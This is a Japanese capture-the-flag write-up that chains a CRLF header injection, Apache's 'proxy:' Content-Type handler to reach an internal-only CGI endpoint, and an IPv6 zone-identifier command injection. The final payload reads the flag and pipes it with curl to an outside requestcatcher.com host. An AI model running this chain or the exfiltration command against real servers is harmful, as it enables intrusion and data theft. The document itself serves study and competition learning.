Welcome, Brave Hero of Eldoria. You’ve entered a domain controlled by the forces of Malakar, the Dark Ruler of Eldoria. This is no place for the faint of heart. Proceed with caution: The systems here are heavily guarded, and one misstep could alert Malakar’s sentinels. But if you’re brave—or foolish—enough to exploit these defenses, you might just find a way to weaken his hold on this world. Choose your path carefully: Your actions here could bring hope to Eldoria… or doom us all. The shadows are watching. Make your move.
ソースコード有り。ドメインやIPアドレスに対してpingを実行する機能があるサイトが与えられるので、最終的にはコマンドインジェクションする問題。最も目を引くのが、以下の部分。
os.popen(f'ping -c {count} {target}')
os.popen(f'ping -c {count} {ip_address(target)}')
attack-domainからattack-ipへ
最初は、attack-domainにしかアクセスができず、attack-ipはApacheの設定でアクセスが内部からしか許されていません。
ServerName CyberAttack
AddType application/x-httpd-php .php
<Location "/cgi-bin/attack-ip">
Order deny,allow
Deny from all
Allow from 127.0.0.1
Allow from ::1
</Location>
attacker-domainから見ていこう。
import cgi
import os
import re
def is_domain(target):
return re.match(r'^(?!-)[a-zA-Z0-9-]{1,63}(?<!-)\.[a-zA-Z]{2,63}$', target)
form = cgi.FieldStorage()
name = form.getvalue('name')
target = form.getvalue('target')
if not name or not target:
print('Location: ../?error=Hey, you need to provide a name and a target!')
elif is_domain(target):
count = 1
os.popen(f'ping -c {count} {target}')
print(f'Location: ../?result=Succesfully attacked {target}!')
else:
print(f'Location: ../?error=Hey {name}, watch it!')
print('Content-Type: text/html')
print()
targetがコマンドインジェクション可能そうなポイントですが、正規表現が厳しく攻撃に発展させることはできない。では、脆弱点はどこかというとprint(f'Location: ../?error=Hey {name}, watch it!')で、nameはバリデーションされず、そのまま利用されています。よって、この部分に置いてヘッダ―インジェクションが発生することになります。
ここから2日間くらい紆余曲折しながらインターネットをさまよいながら考えると、レスポンスよりServer: Apache/2.4.54 (Debian)と若干Apacheが古いことに気が付きます。
…これは、Orangeさんのアレか！
Confusion Attacks: Exploiting Hidden Semantic Ambiguity in Apache HTTP Server!
https://blog.orange.tw/posts/2024-08-confusion-attacks-en/
ここに
#!/usr/bin/perl
use CGI;
my $q = CGI->new;
my $redir = $q->param("r");
if ($redir =~ m{^https?://}) {
print "Location: $redir\n";
}
print "Content-Type: text/html\n\n";
というサンプルが紹介されており、同じ状況です。この状況では、サーバ側から任意のヘッダーを送れるときに、内部プロキシをうまく使ってSSRFしたりRCEしたりできるというものです。まさしくやりたいことと一致しています。
という訳で、Orangeさんのブログからpayloadを借りながらガチャガチャやっていると、nameに改行を%0d%0aとして、
Location:/yyy
Content-Type:proxy:http://localhost/cgi-bin/attack-ip?target=192.168.0.1&name=hoho
というのを入力してやると、LocationとContent-Typeヘッダーがレスポンスに差し込まれ、それをApacheが応答前に利用して、再度折り返し/cgi-bin/attack-ipにリクエストしてくれて、その結果を返してくれるようになります。このリクエストはApacheからの通信となるので、IPアドレス制限を突破できる。
attack-ipでRCE
次はattack-ipのバリデーションを回避していきます。以下がソースコードです。
import cgi
import os
from ipaddress import ip_address
form = cgi.FieldStorage()
name = form.getvalue('name')
target = form.getvalue('target')
if not name or not target:
print('Location: ../?error=Hey, you need to provide a name and a target!')
try:
count = 1
os.popen(f'ping -c {count} {ip_address(target)}')
print(f'Location: ../?result=Succesfully attacked {target}!')
except:
print(f'Location: ../?error=Hey {name}, yatta!')
print('Content-Type: text/html')
print()
targetをip_addressを使って検証して入れ込んでいます。パッと見、挿入は無理そうなのですが、ip_address関数の実装を眺めるとRFC4007を読めと書いてあります。なので、読んでみると11. Textual RepresentationでIPv6アドレスにゾーン識別子を指定できる仕様が記載されています。これは%記号を使用して表現され、その後に任意の文字列が続く形式。これは使えそうなので試してみると…
>>> ip_address("fe80::1234%;pwd|curl sdafsadrearaessreshrdagrtse.requestcatcher.com -X POST -d @-")
IPv6Address('fe80::1234%;pwd|curl sdafsadrearaessreshrdagrtse.requestcatcher.com -X POST -d @-')
まさしくやりたかったことです。これでコマンドインジェクションする土壌が整いました。
最終的なコード
ということで、これらを組み合わせて以下のようなリクエストによってフラグが得られます。
GET /cgi-bin/attack-domain?target=b@example.example&name=%0d%0aLocation%3a%2fyyy%0d%0aContent-Type%3aproxy%3ahttp%3a%2f%2flocalhost%2fcgi-bin%2fattack-ip%3ftarget%3dfe80%253A%253A1234%2525%253Bcd%2520%252E%252E%253Bcd%2520%252E%252E%253Bcd%2520%252E%252E%253Bcat%2520flag%252A%257Ccurl%2520sdafsadrearaessreshrdagrtse%252Erequestcatcher%252Ecom%2520%252Dd%2520%2540%252D%26name%3dhoho%0d%0a%0d%0a
実行コマンドはip_address関数によって/が使えないのでcd ..; cd ..; cd ..; cat flag*|curl sdafsadrearaessreshrdagrtse.requestcatcher.com -d @-みたいな感じでルートに移動してフラグを取ってきています。
